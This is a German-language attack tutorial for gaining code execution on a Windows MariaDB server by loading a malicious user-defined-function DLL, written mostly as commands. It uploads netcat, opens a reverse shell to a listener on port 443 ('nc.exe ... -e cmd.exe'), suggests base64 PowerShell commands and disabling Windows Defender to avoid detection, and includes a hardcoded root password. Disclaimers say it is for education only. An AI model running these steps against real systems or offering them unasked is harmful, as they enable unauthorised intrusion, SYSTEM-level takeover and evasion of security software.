
Authentifizierte Codeausführung über die Datenbank
Diese Anleitung enthält detaillierte Anweisungen zur Ausnutzung einer Schwachstelle in benutzerdefinierten Funktionen (UDF) in MariaDB auf einem entfernten Server. Die Schritte umfassen das Herunterladen und Ausführen von schädlichem Code auf einem anfälligen Datenbanksystem.
Warnung: Dieses Dokument dient nur zu Bildungszwecken. Die unbefugte Nutzung dieser Techniken ist illegal und unethisch.
Verwenden Sie den folgenden Befehl, um eine Verbindung zum MySQL-Server herzustellen:
mysql -h 192.168.214.129 -u root -pPassw0rd!
Um die laufende MySQL-Version zu ermitteln, führen Sie Folgendes aus:
select @@version;
Um den aktuell angemeldeten Benutzer anzuzeigen:
select user();
Rufen Sie alle Details zum Root-Benutzer ab:
select * from mysql.user where user='root';
Ermitteln Sie, welche Berechtigungen der aktuelle Benutzer hat:
show grants;
Ermitteln Sie, ob die Systemarchitektur für UDF anfällig ist:
select @@version_compile_os, @@version_compile_machine;
Identifizieren Sie das Plugin-Verzeichnis, in das UDF-Dateien hochgeladen werden können:
select @@plugin_dir;
Kopieren Sie die 32-Bit-DLL aus dem Exploit-Verzeichnis von Metasploit:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
Kodieren Sie die Datei udf.dll im Base64-Format:
cat udf.dll | base64 | tr -d '\n' > udf.base64
Kopieren Sie den Base64-Wert aus udf.base64 und übertragen Sie ihn in den MySQL-Server:
Öffnen Sie udf.base64 in einem Texteditor:
leafpad udf.base64
Führen Sie in MariaDB Folgendes aus:
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
Alternativ verwenden Sie bei Bedarf den folgenden Pfad:
C:\Program Files\MariaDB 11.1\lib\plugin\
Führen Sie den folgenden Befehl in MariaDB aus, um eine neue Funktion zu erstellen:
create function sys_exec returns int soname 'udf.dll';
Hinweis: Sie können auch
sys_eval,sys_get,do_systemodersys_binevalverwenden. Stellen Sie sicher, dass Sieintund nichtintoverwenden.
Überprüfen Sie, ob die UDF-Funktion erfolgreich installiert wurde:
select * from mysql.func;
Kopieren Sie die Netcat-Ausführbare Datei in Ihr lokales Verzeichnis und kodieren Sie sie in Base64:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
Öffnen Sie nc.base64 in einem Texteditor:
leafpad nc.base64
Dann in MySQL:
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
Alternativ können Sie es direkt mit folgendem Befehl hochladen:
mysql -u root -p -h 192.168.214.129 < nc.base64
Schalten Sie den Netcat-Listener auf Port 443 ein:
sudo nc -nlvp 443
Führen Sie Netcat auf dem entfernten Server für eine Reverse Shell aus:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
Hinweis: Dieser Schritt kann von Windows Defender oder anderen Antivirenprogrammen blockiert werden. Erwägen Sie die Verwendung von PowerShell-kodierten Befehlen (
powershellbase64) und stellen Sie sicher, dass Defender deaktiviert ist.
Führen Sie einen PowerShell-Befehl mit Base64-Kodierung aus:
select sys_exec('powershellbase64');
HINWEIS: Sie erhalten in vielen Fällen NT AUTHORITY SYSTEM-Berechtigungen.
Drop Function: Um erstellte UDF-Funktionen zu entfernen:
drop function sys_get;
Check Local Infile: Überprüfen, ob lokales Schreiben aktiviert ist:
show variables like 'local_infile';
Find Users with Insert Privilege: Ermitteln, welche Benutzer die Einfügeberechtigung haben:
use mysql;
select user from user where insert_priv='Y' and Host='%';
Haftungsausschluss: Dieses Dokument dient ausschließlich zu Bildungszwecken und für Sicherheitsforschung. Der Missbrauch dieser Informationen kann zu Strafanzeigen und schwerwiegenden rechtlichen Konsequenzen führen. Holen Sie stets die Erlaubnis der zuständigen Behörden ein, bevor Sie Schwachstellen in einem Netzwerk oder System testen.